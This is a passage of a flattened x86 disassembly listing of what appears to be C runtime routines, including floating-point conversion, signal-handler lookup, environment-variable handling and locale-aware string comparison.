eax, [ebp+var_10] push eax call sub_425DDA add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_42582E lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_425BBA pop ecx pop ecx loc_42582E: ; CODE XREF: sub_4256C2+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_425848 mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_42584B jmp loc_425739 ; --------------------------------------------------------------------------- loc_425848: ; CODE XREF: sub_4256C2+173j mov edi, [ebp+arg_C] loc_42584B: ; CODE XREF: sub_4256C2+17Fj cmp edi, 15h jle short loc_425853 push 15h pop edi loc_425853: ; CODE XREF: sub_4256C2+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_425869: ; CODE XREF: sub_4256C2+1B4j lea eax, [ebp+var_10] push eax call sub_4250CF dec [ebp+arg_14] pop ecx jnz short loc_425869 test esi, esi jge short loc_425893 neg esi and esi, 0FFh jle short loc_425893 loc_425886: ; CODE XREF: sub_4256C2+1CFj lea eax, [ebp+var_10] push eax call sub_4250FD dec esi pop ecx jnz short loc_425886 loc_425893: ; CODE XREF: sub_4256C2+1B8j ; sub_4256C2+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_4258F0 mov [ebp+arg_C], ecx loc_4258A3: ; CODE XREF: sub_4256C2+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_4250CF lea eax, [ebp+var_10] push eax call sub_4250CF lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_425071 lea eax, [ebp+var_10] push eax call sub_4250CF mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_4258A3 mov eax, [ebp+arg_14] loc_4258F0: ; CODE XREF: sub_4256C2+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_42592D loc_4258FD: ; CODE XREF: sub_4256C2+248j cmp eax, ecx jb short loc_425910 cmp byte ptr [eax], 39h jnz short loc_42590C mov byte ptr [eax], 30h dec eax jmp short loc_4258FD ; --------------------------------------------------------------------------- loc_42590C: ; CODE XREF: sub_4256C2+242j cmp eax, ecx jnb short loc_425914 loc_425910: ; CODE XREF: sub_4256C2+23Dj inc eax inc word ptr [ebx] loc_425914: ; CODE XREF: sub_4256C2+24Cj inc byte ptr [eax] loc_425916: ; CODE XREF: sub_4256C2+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_425925: ; CODE XREF: sub_4256C2+F0j mov eax, [ebp+var_4] loc_425928: ; CODE XREF: sub_4256C2+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_42592D: ; CODE XREF: sub_4256C2+239j ; sub_4256C2+275j cmp eax, ecx jb short loc_42593D cmp byte ptr [eax], 30h jnz short loc_425939 dec eax jmp short loc_42592D ; --------------------------------------------------------------------------- loc_425939: ; CODE XREF: sub_4256C2+272j cmp eax, ecx jnb short loc_425916 loc_42593D: ; CODE XREF: sub_4256C2+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_42594C: ; CODE XREF: sub_4256C2+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_425928 sub_4256C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425955 proc near ; CODE XREF: sub_42255C+226Dp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_4259BC dec eax dec eax jz short loc_4259AD sub eax, 4 jz short loc_4259AD sub eax, 3 jz short loc_4259AD sub eax, 4 jz short loc_4259A0 sub eax, 6 jz short loc_425993 dec eax jz short loc_425986 or eax, 0FFFFFFFFh jmp loc_425A7E ; --------------------------------------------------------------------------- loc_425986: ; CODE XREF: sub_425955+27j mov esi, dword_4DB57C mov eax, offset dword_4DB57C jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_425993: ; CODE XREF: sub_425955+24j mov esi, dword_4DB578 mov eax, offset dword_4DB578 jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259A0: ; CODE XREF: sub_425955+1Fj mov esi, dword_4DB580 mov eax, offset dword_4DB580 jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259AD: ; CODE XREF: sub_425955+10j ; sub_425955+15j ... push edi call sub_425A82 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259BC: ; CODE XREF: sub_425955+Cj mov esi, dword_4DB574 mov eax, offset dword_4DB574 loc_4259C7: ; CODE XREF: sub_425955+3Cj ; sub_425955+49j ... cmp esi, 1 jnz short loc_4259D3 xor eax, eax jmp loc_425A7E ; --------------------------------------------------------------------------- loc_4259D3: ; CODE XREF: sub_425955+75j test esi, esi jnz short loc_4259DE push 3 call sub_41B7C2 loc_4259DE: ; CODE XREF: sub_425955+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_4259F0 cmp edi, 0Bh jz short loc_4259F0 cmp edi, 4 jnz short loc_425A16 loc_4259F0: ; CODE XREF: sub_425955+8Fj ; sub_425955+94j mov ebx, dword_4DB350 and dword_4DB350, 0 cmp edi, ecx jnz short loc_425A45 mov edx, dword_43C94C mov dword_43C94C, 8Ch mov [ebp+arg_0], edx jmp short loc_425A19 ; --------------------------------------------------------------------------- loc_425A16: ; CODE XREF: sub_425955+99j mov ebx, [ebp+arg_0] loc_425A19: ; CODE XREF: sub_425955+BFj cmp edi, ecx jnz short loc_425A45 mov eax, dword_43C940 mov ecx, dword_43C944 add ecx, eax cmp eax, ecx jge short loc_425A4C lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:43C8D0h[edx*4] loc_425A3A: ; CODE XREF: sub_425955+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_425A3A jmp short loc_425A4C ; --------------------------------------------------------------------------- loc_425A45: ; CODE XREF: sub_425955+AAj ; sub_425955+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_425A5A loc_425A4C: ; CODE XREF: sub_425955+D7j ; sub_425955+EEj push dword_43C94C push 8 call esi pop ecx pop ecx jmp short loc_425A68 ; --------------------------------------------------------------------------- loc_425A5A: ; CODE XREF: sub_425955+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_425A68 cmp edi, 4 jnz short loc_425A7B loc_425A68: ; CODE XREF: sub_425955+103j ; sub_425955+10Cj cmp edi, 8 mov dword_4DB350, ebx jnz short loc_425A7B mov eax, [ebp+arg_0] mov dword_43C94C, eax loc_425A7B: ; CODE XREF: sub_425955+111j ; sub_425955+11Cj xor eax, eax pop ebx loc_425A7E: ; CODE XREF: sub_425955+2Cj ; sub_425955+79j pop edi pop esi pop ebp retn sub_425955 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_425A82 proc near ; CODE XREF: sub_425955+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43C948 cmp dword_43C8CC, edx push esi mov eax, offset dword_43C8C8 jz short loc_425AB0 lea esi, [ecx+ecx*2] lea esi, ds:43C8C8h[esi*4] loc_425AA4: ; CODE XREF: sub_425A82+2Cj add eax, 0Ch cmp eax, esi jnb short loc_425AB0 cmp [eax+4], edx jnz short loc_425AA4 loc_425AB0: ; CODE XREF: sub_425A82+16j ; sub_425A82+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43C8C8h[ecx*4] cmp eax, ecx jnb short loc_425AC4 cmp [eax+4], edx jz short locret_425AC6 loc_425AC4: ; CODE XREF: sub_425A82+3Bj xor eax, eax locret_425AC6: ; CODE XREF: sub_425A82+40j retn sub_425A82 endp ; =============== S U B R O U T I N E ======================================= sub_425AC7 proc near ; CODE XREF: sub_4247EC+23p arg_0 = dword ptr 4 cmp dword_4DC910, 0 push ebx push esi mov esi, dword_4DB2A0 push edi jz short loc_425B3E test esi, esi jnz short loc_425AF8 cmp dword_4DB2A8, esi jz short loc_425B3E call sub_425E95 test eax, eax jnz short loc_425B3E mov esi, dword_4DB2A0 test esi, esi jz short loc_425B3E loc_425AF8: ; CODE XREF: sub_425AC7+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_425B3E push ebx call sub_41AFE0 pop ecx mov edi, eax loc_425B09: ; CODE XREF: sub_425AC7+6Dj mov eax, [esi] test eax, eax jz short loc_425B3E push eax call sub_41AFE0 cmp eax, edi pop ecx jbe short loc_425B31 mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_425B31 push edi push ebx push eax call sub_425E56 add esp, 0Ch test eax, eax jz short loc_425B36 loc_425B31: ; CODE XREF: sub_425AC7+51j ; sub_425AC7+59j add esi, 4 jmp short loc_425B09 ; --------------------------------------------------------------------------- loc_425B36: ; CODE XREF: sub_425AC7+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_425B40 ; --------------------------------------------------------------------------- loc_425B3E: ; CODE XREF: sub_425AC7+10j ; sub_425AC7+1Cj ... xor eax, eax loc_425B40: ; CODE XREF: sub_425AC7+75j pop edi pop esi pop ebx retn sub_425AC7 endp ; =============== S U B R O U T I N E ======================================= sub_425B44 proc near ; CODE XREF: sub_424F0A+8Bp ; sub_424F0A+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DC6C0 jnb short loc_425BAB mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DC5C0[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_425BAB mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_425B84 and cl, 7Fh jmp short loc_425B91 ; --------------------------------------------------------------------------- loc_425B84: ; CODE XREF: sub_425B44+39j cmp [esp+4+arg_4], 4000h jnz short loc_425B9F or cl, 80h loc_425B91: ; CODE XREF: sub_425B44+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_425B9F: ; CODE XREF: sub_425B44+48j mov dword_4DB278, 16h jmp short loc_425BB5 ; --------------------------------------------------------------------------- loc_425BAB: ; CODE XREF: sub_425B44+Bj ; sub_425B44+27j mov dword_4DB278, 9 loc_425BB5: ; CODE XREF: sub_425B44+65j or eax, 0FFFFFFFFh pop esi retn sub_425B44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425BBA proc near ; CODE XREF: sub_4256C2+165p ; sub_425DDA+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_425DBA cmp cx, 7FFFh jnb loc_425DBA cmp dx, 0BFFDh ja loc_425DBA cmp dx, 3FBFh ja short loc_425C23 xor eax, eax jmp short loc_425C5D ; --------------------------------------------------------------------------- loc_425C23: ; CODE XREF: sub_425BBA+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_425C45 inc [ebp+arg_0] test [esi+8], edx jnz short loc_425C45 xor eax, eax cmp [esi+4], eax jnz short loc_425C47 cmp [esi], eax jnz short loc_425C47 jmp loc_425DB4 ; --------------------------------------------------------------------------- loc_425C45: ; CODE XREF: sub_425BBA+71j ; sub_425BBA+79j xor eax, eax loc_425C47: ; CODE XREF: sub_425BBA+80j ; sub_425BBA+84j cmp cx, ax jnz short loc_425C6A inc [ebp+arg_0] test [ebx+8], edx jnz short loc_425C6A cmp [ebx+4], eax jnz short loc_425C6A cmp [ebx], eax jnz short loc_425C6A loc_425C5D: ; CODE XREF: sub_425BBA+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_425DD5 ; --------------------------------------------------------------------------- loc_425C6A: ; CODE XREF: sub_425BBA+90j ; sub_425BBA+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_425C7A: ; CODE XREF: sub_425BBA+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_425CCE add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_425C96: ; CODE XREF: sub_425BBA+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_425050 add esp, 0Ch test eax, eax jz short loc_425CC1 mov eax, [ebp+var_4] inc word ptr [eax] loc_425CC1: ; CODE XREF: sub_425BBA+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_425C96 loc_425CCE: ; CODE XREF: sub_425BBA+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_425C7A add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_425D11 loc_425CEC: ; CODE XREF: sub_425BBA+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_425D0A lea eax, [ebp+var_24] push eax call sub_4250CF add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_425CEC loc_425D0A: ; CODE XREF: sub_425BBA+136j cmp word ptr [ebp+arg_0], 0 jg short loc_425D4A loc_425D11: ; CODE XREF: sub_425BBA+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_425D4A movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_425D2A: ; CODE XREF: sub_425BBA+184j test byte ptr [ebp+var_24], 1 jz short loc_425D33 inc [ebp+var_14] loc_425D33: ; CODE XREF: sub_425BBA+174j lea eax, [ebp+var_24] push eax call sub_4250FD dec ebx pop ecx jnz short loc_425D2A cmp [ebp+var_14], 0 jz short loc_425D4A or byte ptr [ebp+var_24], 1 loc_425D4A: ; CODE XREF: sub_425BBA+155j ; sub_425BBA+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_425D61 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_425D96 loc_425D61: ; CODE XREF: sub_425BBA+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_425D93 and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_425D8E and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_425D88 inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D88: ; CODE XREF: sub_425BBA+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D8E: ; CODE XREF: sub_425BBA+1B5j inc [ebp+var_20+2] jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D93: ; CODE XREF: sub_425BBA+1ABj inc [ebp+var_24+2] loc_425D96: ; CODE XREF: sub_425BBA+1A5j ; sub_425BBA+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_425DBA mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_425DB4: ; CODE XREF: sub_425BBA+86j mov [esi+0Ah], ax jmp short loc_425DD5 ; --------------------------------------------------------------------------- loc_425DBA: ; CODE XREF: sub_425BBA+42j ; sub_425BBA+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_425DD5: ; CODE XREF: sub_425BBA+ABj ; sub_425BBA+1FEj pop edi pop esi pop ebx leave retn sub_425BBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425DDA proc near ; CODE XREF: sub_4251F1+440p ; sub_4256C2+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_43CDC8 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_425E53 jge short loc_425E02 mov eax, [ebp+arg_4] mov ebx, offset dword_43CF28 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_425E02: ; CODE XREF: sub_425DDA+16j cmp [ebp+arg_8], ecx jnz short loc_425E0D mov eax, [ebp+arg_0] mov [eax], cx loc_425E0D: ; CODE XREF: sub_425DDA+2Bj cmp [ebp+arg_4], ecx jz short loc_425E53 push esi push edi loc_425E14: ; CODE XREF: sub_425DDA+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_425E4C lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_425E3F lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_425E3F: ; CODE XREF: sub_425DDA+57j push esi push [ebp+arg_0] call sub_425BBA pop ecx pop ecx xor ecx, ecx loc_425E4C: ; CODE XREF: sub_425DDA+49j cmp [ebp+arg_4], ecx jnz short loc_425E14 pop edi pop esi loc_425E53: ; CODE XREF: sub_425DDA+14j ; sub_425DDA+36j pop ebx leave retn sub_425DDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425E56 proc near ; CODE XREF: sub_425AC7+5Ep ; sub_426332+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_425E63 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_425E63: ; CODE XREF: sub_425E56+7j push dword_4DC6C4 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_4DC8E4 call sub_425F03 add esp, 1Ch test eax, eax jnz short loc_425E90 mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_425E90: ; CODE XREF: sub_425E56+31j add eax, 0FFFFFFFEh pop ebp retn sub_425E56 endp ; =============== S U B R O U T I N E ======================================= sub_425E95 proc near ; CODE XREF: sub_425AC7+1Ep ; sub_4261AB+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_4DB2A8 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_425EF6 mov ebx, dword_42717C loc_425EAE: ; CODE XREF: sub_425E95+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx mov ebp, eax cmp ebp, edi jz short loc_425EFE push ebp call sub_41B4D5 cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_425EFE push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx test eax, eax jz short loc_425EFE push edi push [esp+18h+var_4] call sub_4261AB mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_425EAE loc_425EF6: ; CODE XREF: sub_425E95+11j xor eax, eax loc_425EF8: ; CODE XREF: sub_425E95+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_425EFE: ; CODE XREF: sub_425E95+29j ; sub_425E95+38j ... or eax, 0FFFFFFFFh jmp short loc_425EF8 sub_425E95 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425F03 proc near ; CODE XREF: sub_425E56+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427CF0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_4DB588, ebx push 1 pop edi jnz short loc_425F76 push edi mov eax, offset dword_427940 push eax push edi push eax push ebx push ebx nop call near ptr 25F0000h test eax, eax jz short loc_425F53 mov dword_4DB588, edi jmp short loc_425F76 ; --------------------------------------------------------------------------- loc_425F53: ; CODE XREF: sub_425F03+46j push edi mov eax, offset dword_4CAE2C push eax push edi push eax push ebx push ebx nop call near ptr 25F05F7h test eax, eax jz loc_42616C mov dword_4DB588, 2 loc_425F76: ; CODE XREF: sub_425F03+31j ; sub_425F03+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_425F8D push esi push [ebp+arg_8] call sub_426180 pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_425F8D: ; CODE XREF: sub_425F03+78j cmp [ebp+arg_14], ebx jle short loc_425FA2 push [ebp+arg_14] push [ebp+arg_10] call sub_426180 pop ecx pop ecx mov [ebp+arg_14], eax loc_425FA2: ; CODE XREF: sub_425F03+8Dj mov eax, dword_4DB588 cmp eax, 2 jnz short loc_425FC7 push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25F05F7h jmp loc_42616E ; --------------------------------------------------------------------------- loc_425FC7: ; CODE XREF: sub_425F03+A7j cmp eax, edi jnz loc_42616C cmp [ebp+arg_18], ebx jnz short loc_425FDC mov eax, dword_4DB344 mov [ebp+arg_18], eax loc_425FDC: ; CODE XREF: sub_425F03+CFj cmp esi, ebx jz short loc_425FE9 cmp [ebp+arg_14], ebx jnz loc_426081 loc_425FE9: ; CODE XREF: sub_425F03+DBj cmp esi, [ebp+arg_14] jnz short loc_425FF6 loc_425FEE: ; CODE XREF: sub_425F03+13Cj ; sub_425F03+16Dj push 2 loc_425FF0: ; CODE XREF: sub_425F03+146j pop eax jmp loc_42616E ; --------------------------------------------------------------------------- loc_425FF6: ; CODE XREF: sub_425F03+E9j cmp [ebp+arg_14], edi jle short loc_426002 loc_425FFB: ; CODE XREF: sub_425F03+151j ; sub_425F03+159j ... mov eax, edi jmp loc_42616E ; --------------------------------------------------------------------------- loc_426002: ; CODE XREF: sub_425F03+F6j cmp esi, edi jg short loc_426047 lea eax, [ebp+var_3C] push eax push [ebp+arg_18] nop call near ptr 28F049Bh test eax, eax jz loc_42616C cmp esi, ebx jle short loc_42604B cmp [ebp+var_3C], 2 jb short loc_426047 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_426047 loc_42602D: ; CODE XREF: sub_425F03+142j mov dl, [eax+1] cmp dl, bl jz short loc_426047 mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_426041 cmp cl, dl jbe short loc_425FEE loc_426041: ; CODE XREF: sub_425F03+138j inc eax inc eax cmp [eax], bl jnz short loc_42602D loc_426047: ; CODE XREF: sub_425F03+101j ; sub_425F03+120j ... push 3 jmp short loc_425FF0 ; --------------------------------------------------------------------------- loc_42604B: ; CODE XREF: sub_425F03+11Aj cmp [ebp+arg_14], ebx jle short loc_426081 cmp [ebp+var_3C], 2 jb short loc_425FFB lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_425FFB loc_42605E: ; CODE XREF: sub_425F03+177j mov dl, [eax+1] cmp dl, bl jz short loc_425FFB mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_426076 cmp cl, dl jbe loc_425FEE loc_426076: ; CODE XREF: sub_425F03+169j inc eax inc eax cmp [eax], bl jnz short loc_42605E jmp loc_425FFB ; --------------------------------------------------------------------------- loc_426081: ; CODE XREF: sub_425F03+E0j ; sub_425F03+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] nop call near ptr 2850000h mov [ebp+var_1C], eax cmp eax, ebx jz loc_42616C mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4260D0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_4260D0: ; CODE XREF: sub_425F03+1B5j cmp [ebp+var_24], ebx jz loc_42616C push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_427180 call esi test eax, eax jz short loc_42616C push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_42616C mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_42613B ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_42613B: ; CODE XREF: sub_425F03+224j cmp edi, ebx jz short loc_42616C push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] nop call near ptr 2850000h test eax, eax jz short loc_42616C push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25F0000h jmp short loc_42616E ; --------------------------------------------------------------------------- loc_42616C: ; CODE XREF: sub_425F03+63j ; sub_425F03+C6j ... xor eax, eax loc_42616E: ; CODE XREF: sub_425F03+BFj ; sub_425F03+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_425F03 endp ; =============== S U B R O U T I N E ======================================= sub_426180 proc near ; CODE XREF: sub_422ACA+81p ; sub_425F03+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_42619D loc_426190: ; CODE XREF: sub_426180+1Bj cmp byte ptr [eax], 0 jz short loc_42619D inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_426190 loc_42619D: ; CODE XREF: sub_426180+Ej ; sub_426180+13j cmp byte ptr [eax], 0 pop esi jnz short loc_4261A8 sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_4261A8: ; CODE XREF: sub_426180+21j mov eax, edx retn sub_426180 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4261AB proc near ; CODE XREF: sub_425E95+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_42620F push 3Dh push [ebp+arg_0] call sub_4263F1 mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_42620F cmp [ebp+arg_0], esi jz short loc_42620F mov eax, dword_4DB2A0 xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_4DB2A4 jnz short loc_4261F5 push eax call sub_42638A pop ecx mov dword_4DB2A0, eax loc_4261F5: ; CODE XREF: sub_4261AB+3Cj cmp eax, edi jnz short loc_42624D cmp [ebp+arg_4], edi jz short loc_426217 cmp dword_4DB2A8, edi jz short loc_426217 call sub_425E95 test eax, eax jz short loc_42624D loc_42620F: ; CODE XREF: sub_4261AB+Dj ; sub_4261AB+22j ... or eax, 0FFFFFFFFh loc_426212: ; CODE XREF: sub_4261AB+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_426217: ; CODE XREF: sub_4261AB+51j ; sub_4261AB+59j cmp ebx, edi jnz loc_42632B push 4 call sub_41B4D5 cmp eax, edi pop ecx mov dword_4DB2A0, eax jz short loc_42620F mov [eax], edi cmp dword_4DB2A8, edi jnz short loc_42624D push 4 call sub_41B4D5 cmp eax, edi pop ecx mov dword_4DB2A8, eax jz short loc_42620F mov [eax], edi loc_42624D: ; CODE XREF: sub_4261AB+4Cj ; sub_4261AB+62j ... sub esi, [ebp+arg_0] mov edi, dword_4DB2A0 mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_426332 mov esi, eax pop ecx test esi, esi pop 